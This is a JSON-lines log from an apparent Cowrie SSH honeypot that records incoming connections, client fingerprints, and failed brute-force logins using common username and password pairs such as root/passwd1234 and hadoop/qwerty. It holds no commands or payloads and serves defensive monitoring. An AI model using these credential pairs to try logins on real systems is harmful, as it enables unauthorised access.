{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":48468,"dst_ip":"10.17.0.5","dst_port":22,"session":"76b7dc57db9f","protocol":"ssh","message":"New connection: 91.92.40.4:48468 (10.17.0.5:22) [session: 76b7dc57db9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:12:22.035696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:12:22.039340Z","src_ip":"91.92.40.4","session":"76b7dc57db9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:12:22.120883Z","src_ip":"91.92.40.4","session":"76b7dc57db9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"qwerty","message":"login attempt [hadoop/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:12:22.373422Z","src_ip":"91.92.40.4","session":"76b7dc57db9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:12:23.457961Z","src_ip":"91.92.40.4","session":"76b7dc57db9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.127.60.187","src_port":11414,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf09c38da08a","protocol":"ssh","message":"New connection: 199.127.60.187:11414 (10.17.0.5:22) [session: bf09c38da08a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:12:29.684303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:12:29.688013Z","src_ip":"199.127.60.187","session":"bf09c38da08a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:12:29.748341Z","src_ip":"199.127.60.187","session":"bf09c38da08a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a0:f7:74:32:59:8d:a5:84:46:6c:47:c1:7b:17:21:f0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0WKpj/tNM3M9MhqdzI2IE3FIEMqF1Vvtx3z2GsB3mVLHmGWucm/wTWOLpec2F87EQ86jjSciVfsZNKP4pc5M12LJKwnsDKtbPYWuNfswo6xPpuyy/uBZv56M0VWr1FymcxF8sl3uJEtd/jpEks77NFsTujrqZ7zkrN15ILHELFGFhzxOEN9B5RkNMjdFkHbcEhAs/mgX22BZYlqKUbo2dXQ6t7mJz68ONkFTelyoYusb6Im9MBNTpdjgAlLxYi5b/XO/KCkghqQUHtyy7lDtSLR1OBBD+t0q71SIyTDk/SPu3MfY5l7ashat6cCe1hry8N/74NBtrAK1zOO57fSbgQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a0:f7:74:32:59:8d:a5:84:46:6c:47:c1:7b:17:21:f0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:12:30.017958Z","src_ip":"199.127.60.187","session":"bf09c38da08a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a0:f7:74:32:59:8d:a5:84:46:6c:47:c1:7b:17:21:f0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0WKpj/tNM3M9MhqdzI2IE3FIEMqF1Vvtx3z2GsB3mVLHmGWucm/wTWOLpec2F87EQ86jjSciVfsZNKP4pc5M12LJKwnsDKtbPYWuNfswo6xPpuyy/uBZv56M0VWr1FymcxF8sl3uJEtd/jpEks77NFsTujrqZ7zkrN15ILHELFGFhzxOEN9B5RkNMjdFkHbcEhAs/mgX22BZYlqKUbo2dXQ6t7mJz68ONkFTelyoYusb6Im9MBNTpdjgAlLxYi5b/XO/KCkghqQUHtyy7lDtSLR1OBBD+t0q71SIyTDk/SPu3MfY5l7ashat6cCe1hry8N/74NBtrAK1zOO57fSbgQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:12:30.024529Z","src_ip":"199.127.60.187","session":"bf09c38da08a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"58:96:aa:bb:66:b6:96:e0:15:69:75:df:82:96:e0:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD4ktN9fvgJT8XWCzV+8XzU3fcDShh6KKbc4kCcdjjsmUJgu7ZL7BYh3OHnmOOs0yz9AJe4y1W52Nhj60BpGEIsPYlHX5s53kR1h70Riw3P2qXgT8kyBPNAuRlPwMMVCgxoK3006Lv00jiMRTqJuPjFanCNvs6jj/DP5o9ek3jl5Y6TQhm2XxhxH2rrJHYpNdzgUHYuDOwZ3tmFN98yl0nzHVyViA48ETMVIhuWFBcWoCFcjT0v9PpTnp6UqOxW/l+YGl57g9drOaLLJsnWmathYpLmvLgrZrqWPLm4726fkpQI2CuoZ6k0sofo1795Ij24zbClKKDPyHmfe6rC69aH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 58:96:aa:bb:66:b6:96:e0:15:69:75:df:82:96:e0:02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:12:30.088639Z","src_ip":"199.127.60.187","session":"bf09c38da08a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"58:96:aa:bb:66:b6:96:e0:15:69:75:df:82:96:e0:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD4ktN9fvgJT8XWCzV+8XzU3fcDShh6KKbc4kCcdjjsmUJgu7ZL7BYh3OHnmOOs0yz9AJe4y1W52Nhj60BpGEIsPYlHX5s53kR1h70Riw3P2qXgT8kyBPNAuRlPwMMVCgxoK3006Lv00jiMRTqJuPjFanCNvs6jj/DP5o9ek3jl5Y6TQhm2XxhxH2rrJHYpNdzgUHYuDOwZ3tmFN98yl0nzHVyViA48ETMVIhuWFBcWoCFcjT0v9PpTnp6UqOxW/l+YGl57g9drOaLLJsnWmathYpLmvLgrZrqWPLm4726fkpQI2CuoZ6k0sofo1795Ij24zbClKKDPyHmfe6rC69aH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:12:30.091769Z","src_ip":"199.127.60.187","session":"bf09c38da08a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b4:52:44:4e:7c:52:51:01:8b:55:41:90:7c:a1:d7:c2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAnjQgEx7iQ3fY1h26ujbj5S6zOXvX2rYdUNJVIUApXZOzasv9s2fUOt4CZ/E5RCrrU9zX3Idi8OID9o1+Sl8aEeCh8bC85mcOQ3sg6jr+PQBb9Ks/G2oUdYE0P9P9/aojj1QNVdlSUOJZJ17XjnlsE8yYD7qMPEgwagKZL6lDcf6f6+w+3SlL6C7fIsPDuXS8YYpmtABBueNb/1lYQyNVjA7+Cyvmkd9l+sbi+cxRqapeRC1Q74RDk3EdbXQGJ4DukUr0Vp1ZXyg1pr/NZlxKJNf4ZODXAAOXn0rc/B4CURfBXmXtcxEyZT5Xr1/JgJ4jahAYbdutFc9tmYMgc8jfrw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b4:52:44:4e:7c:52:51:01:8b:55:41:90:7c:a1:d7:c2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:12:30.151058Z","src_ip":"199.127.60.187","session":"bf09c38da08a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b4:52:44:4e:7c:52:51:01:8b:55:41:90:7c:a1:d7:c2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAnjQgEx7iQ3fY1h26ujbj5S6zOXvX2rYdUNJVIUApXZOzasv9s2fUOt4CZ/E5RCrrU9zX3Idi8OID9o1+Sl8aEeCh8bC85mcOQ3sg6jr+PQBb9Ks/G2oUdYE0P9P9/aojj1QNVdlSUOJZJ17XjnlsE8yYD7qMPEgwagKZL6lDcf6f6+w+3SlL6C7fIsPDuXS8YYpmtABBueNb/1lYQyNVjA7+Cyvmkd9l+sbi+cxRqapeRC1Q74RDk3EdbXQGJ4DukUr0Vp1ZXyg1pr/NZlxKJNf4ZODXAAOXn0rc/B4CURfBXmXtcxEyZT5Xr1/JgJ4jahAYbdutFc9tmYMgc8jfrw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:12:30.154191Z","src_ip":"199.127.60.187","session":"bf09c38da08a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"74:5b:9c:ca:cd:96:a0:5b:e9:58:32:ab:ce:98:ab:3a","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDUwjrDx6fhCBKnROgPZeiuQH9VFgEp21Z0/A6WIARU0","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 74:5b:9c:ca:cd:96:a0:5b:e9:58:32:ab:ce:98:ab:3a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:12:30.213104Z","src_ip":"199.127.60.187","session":"bf09c38da08a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"74:5b:9c:ca:cd:96:a0:5b:e9:58:32:ab:ce:98:ab:3a","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDUwjrDx6fhCBKnROgPZeiuQH9VFgEp21Z0/A6WIARU0","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:12:30.217588Z","src_ip":"199.127.60.187","session":"bf09c38da08a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"34:14:71:79:97:8e:37:40:20:a7:3e:df:38:52:c3:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4eEeWZ+b+O4tEgCwO5Kn9NH1oGedTdoO26nUfWYNcd2PdVtWID2aeHk2op/oCIwUJjxQ/pSjMIW20cdTNoJ8TjTXASQPnxtat9qhj2VHSctJi1vKzvegSMLjoAz644/CP+JyOPLBk6x1zZTOoautMoMRbh7va0s6Ofg6JN6zivWsQcYbzoTH1wvxcshWMi6VW1l08jXs9FddctrrqtPrbrUEQHoYfq0xL0q1tpT/4GnOHoIpb54LwVapajSv+shF+HZCToEBWI6dfLPwOphJr/tTnJ4/PGD/P/PvpaZtj/0CaVVyIrxEcvupMj6Y40VCQmaxA8CFemmVr9XS6RutXw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 34:14:71:79:97:8e:37:40:20:a7:3e:df:38:52:c3:68","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:12:30.275356Z","src_ip":"199.127.60.187","session":"bf09c38da08a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"34:14:71:79:97:8e:37:40:20:a7:3e:df:38:52:c3:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4eEeWZ+b+O4tEgCwO5Kn9NH1oGedTdoO26nUfWYNcd2PdVtWID2aeHk2op/oCIwUJjxQ/pSjMIW20cdTNoJ8TjTXASQPnxtat9qhj2VHSctJi1vKzvegSMLjoAz644/CP+JyOPLBk6x1zZTOoautMoMRbh7va0s6Ofg6JN6zivWsQcYbzoTH1wvxcshWMi6VW1l08jXs9FddctrrqtPrbrUEQHoYfq0xL0q1tpT/4GnOHoIpb54LwVapajSv+shF+HZCToEBWI6dfLPwOphJr/tTnJ4/PGD/P/PvpaZtj/0CaVVyIrxEcvupMj6Y40VCQmaxA8CFemmVr9XS6RutXw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:12:30.278511Z","src_ip":"199.127.60.187","session":"bf09c38da08a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:12:30.338312Z","src_ip":"199.127.60.187","session":"bf09c38da08a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:12:37.208951Z","src_ip":"8.210.75.243","session":"3067eed29b05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":34004,"dst_ip":"10.17.0.5","dst_port":22,"session":"42dffed1fe95","protocol":"ssh","message":"New connection: 165.227.170.113:34004 (10.17.0.5:22) [session: 42dffed1fe95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:12:43.801349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:12:43.805137Z","src_ip":"165.227.170.113","session":"42dffed1fe95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:12:43.890541Z","src_ip":"165.227.170.113","session":"42dffed1fe95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user10","password":"123456","message":"login attempt [user10/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:12:44.254836Z","src_ip":"165.227.170.113","session":"42dffed1fe95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:12:45.339207Z","src_ip":"165.227.170.113","session":"42dffed1fe95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.203.251.187","src_port":43804,"dst_ip":"10.17.0.5","dst_port":22,"session":"3099e33692c8","protocol":"ssh","message":"New connection: 119.203.251.187:43804 (10.17.0.5:22) [session: 3099e33692c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:12:46.792229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:12:46.796633Z","src_ip":"119.203.251.187","session":"3099e33692c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:12:47.000507Z","src_ip":"119.203.251.187","session":"3099e33692c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.222.20.20","src_port":51684,"dst_ip":"10.17.0.5","dst_port":22,"session":"17890b92ae92","protocol":"ssh","message":"New connection: 201.222.20.20:51684 (10.17.0.5:22) [session: 17890b92ae92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:12:47.776076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:12:47.779916Z","src_ip":"201.222.20.20","session":"17890b92ae92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwd1234","message":"login attempt [root/passwd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:12:47.829869Z","src_ip":"119.203.251.187","session":"3099e33692c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:12:47.903831Z","src_ip":"201.222.20.20","session":"17890b92ae92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789root","message":"login attempt [root/123456789root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:12:48.430353Z","src_ip":"201.222.20.20","session":"17890b92ae92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:12:49.030271Z","src_ip":"119.203.251.187","session":"3099e33692c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:12:49.555128Z","src_ip":"201.222.20.20","session":"17890b92ae92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":56294,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed4ab19927b8","protocol":"ssh","message":"New connection: 8.210.75.243:56294 (10.17.0.5:22) [session: ed4ab19927b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:12:58.385735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:12:58.389515Z","src_ip":"8.210.75.243","session":"ed4ab19927b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.239.241","src_port":48340,"dst_ip":"10.17.0.5","dst_port":22,"session":"aeee049e11bc","protocol":"ssh","message":"New connection: 162.241.239.241:48340 (10.17.0.5:22) [session: aeee049e11bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:13:02.661794Z"}
